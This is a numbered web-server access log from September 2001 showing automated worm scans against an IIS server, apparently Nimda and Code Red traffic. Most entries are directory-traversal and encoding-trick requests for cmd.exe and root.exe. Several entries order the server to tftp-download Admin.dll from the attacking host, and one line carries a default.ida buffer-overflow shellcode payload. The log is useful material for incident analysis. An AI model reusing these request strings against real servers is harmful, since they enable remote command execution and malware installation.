  11891. 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11892. 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11893. 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11894. 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11895. 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11896. 20010919 18:47:37: cc118955-a.groni1.gr.nl.home.com [213.51.147.235] "GET /index.html HTTP/1.0"
  11897. 20010919 18:48:28:  [128.121.40.147] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11898. 20010919 18:52:09:  [128.121.40.147] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11899. 20010919 18:52:36:  [128.197.227.140] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11900. 20010919 19:00:30:  [128.197.227.139] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11901. 20010919 19:00:48:  [128.197.227.140] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11902. 20010919 19:01:06:  [128.197.227.139] "GET /scripts/root.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  11903. 20010919 19:01:25:  [128.197.227.140] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11904. 20010919 19:01:43:  [128.197.227.139] "GET /scripts/Admin.dll HTTP/1.0"
  11905. 20010919 19:02:01:  [128.197.227.140] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11906. 20010919 19:02:20:  [128.197.227.139] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11907. 20010919 19:02:38:  [128.197.227.140] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11908. 20010919 19:02:56:  [128.197.227.139] "GET /MSADC/root.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  11909. 20010919 19:03:14:  [128.197.227.140] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11910. 20010919 19:03:33:  [128.197.227.139] "GET /MSADC/Admin.dll HTTP/1.0"
  11911. 20010919 19:03:51:  [128.197.227.140] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11912. 20010919 19:04:09:  [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11913. 20010919 19:04:28:  [128.197.227.140] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11914. 20010919 19:04:46:  [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11915. 20010919 19:05:04:  [128.197.227.140] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11916. 20010919 19:05:22:  [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11917. 20010919 19:05:41:  [128.197.227.140] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11918. 20010919 19:05:59:  [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11919. 20010919 19:06:17:  [128.197.227.140] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11920. 20010919 19:06:35:  [128.197.227.139] "GET /c/Admin.dll HTTP/1.0"
  11921. 20010919 19:06:53:  [128.197.227.140] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11922. 20010919 19:07:12:  [128.197.227.139] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11923. 20010919 19:07:30:  [128.197.227.140] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11924. 20010919 19:07:48:  [128.197.227.139] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11925. 20010919 19:08:06:  [128.197.227.140] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11926. 20010919 19:08:24:  [128.197.227.139] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11927. 20010919 19:08:43:  [128.197.227.140] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11928. 20010919 19:09:01:  [128.197.227.139] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11929. 20010919 19:09:19:  [128.197.227.140] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11930. 20010919 19:09:38:  [128.197.227.139] "GET /d/Admin.dll HTTP/1.0"
  11931. 20010919 19:09:56:  [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11932. 20010919 19:10:14:  [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11933. 20010919 19:10:36:  [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11934. 20010919 19:10:54:  [128.197.227.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11935. 20010919 19:11:15:  [128.197.227.139] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  11936. 20010919 19:11:34:  [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11937. 20010919 19:11:52:  [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  11938. 20010919 19:12:14:  [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  11939. 20010919 19:12:32:  [128.197.227.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  11940. 20010919 19:12:50: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11941. 20010919 19:13:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11942. 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11943. 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11944. 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11945. 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11946. 20010919 19:32:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11947. 20010919 19:32:04: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11948. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11949. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11950. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11951. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11952. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11953. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11954. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11955. 20010919 19:32:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11956. 20010919 19:32:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11957. 20010919 19:32:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11958. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11959. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11960. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11961. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11962. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11963. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11964. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11965. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11966. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11967. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11968. 20010919 19:34:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11969. 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11970. 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11971. 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11972. 20010919 19:34:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11973. 20010919 19:34:53: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11974. 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11975. 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11976. 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11977. 20010919 19:37:58: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11978. 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11979. 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11980. 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11981. 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11982. 20010919 19:37:59: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11983. 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11984. 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11985. 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11986. 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11987. 20010919 19:38:00: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11988. 20010919 19:38:01: indy.ilo.ucl.ac.uk [128.40.248.135] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11989. 20010919 19:38:01:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11990. 20010919 19:50:35:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11991. 20010919 19:50:53:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11992. 20010919 19:51:11:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11993. 20010919 19:51:29:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11994. 20010919 19:51:48:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11995. 20010919 19:52:06:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11996. 20010919 19:52:24:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11997. 20010919 19:52:42:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11998. 20010919 19:53:01:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11999. 20010919 19:53:19:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12000. 20010919 19:53:37:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12001. 20010919 19:53:55:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12002. 20010919 19:54:13:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12003. 20010919 19:54:32:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12004. 20010919 19:54:50:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12005. 20010919 19:55:08:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12006. 20010919 19:58:08:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12007. 20010919 19:58:26:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12008. 20010919 19:58:44:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12009. 20010919 19:59:02:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12010. 20010919 19:59:21:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12011. 20010919 19:59:39:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12012. 20010919 19:59:57:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12013. 20010919 20:00:15:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12014. 20010919 20:00:33:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12015. 20010919 20:00:52:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12016. 20010919 20:01:10:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12017. 20010919 20:01:28:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12018. 20010919 20:01:46:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12019. 20010919 20:02:05:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12020. 20010919 20:02:23:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12021. 20010919 20:02:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12022. 20010919 20:11:08: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12023. 20010919 20:11:08: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12024. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12025. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12026. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12027. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12028. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12029. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12030. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12031. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12032. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12033. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12034. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12035. 20010919 20:11:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12036. 20010919 20:11:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12037. 20010919 20:11:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12038. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12039. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12040. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12041. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12042. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12043. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12044. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12045. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12046. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12047. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12048. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12049. 20010919 20:41:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12050. 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12051. 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12052. 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12053. 20010919 20:41:02: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12054. 20010919 20:41:06: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12055. 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12056. 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12057. 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12058. 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12059. 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12060. 20010919 20:41:07: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12061. 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12062. 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12063. 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12064. 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12065. 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12066. 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12067. 20010919 20:41:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12068. 20010919 20:41:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12069. 20010919 20:41:11:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12070. 20010919 20:41:58:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12071. 20010919 20:42:16:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12072. 20010919 20:42:34:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12073. 20010919 20:42:52:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12074. 20010919 20:43:10:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12075. 20010919 20:43:28:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12076. 20010919 20:43:47:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12077. 20010919 20:44:05:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12078. 20010919 20:44:23:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
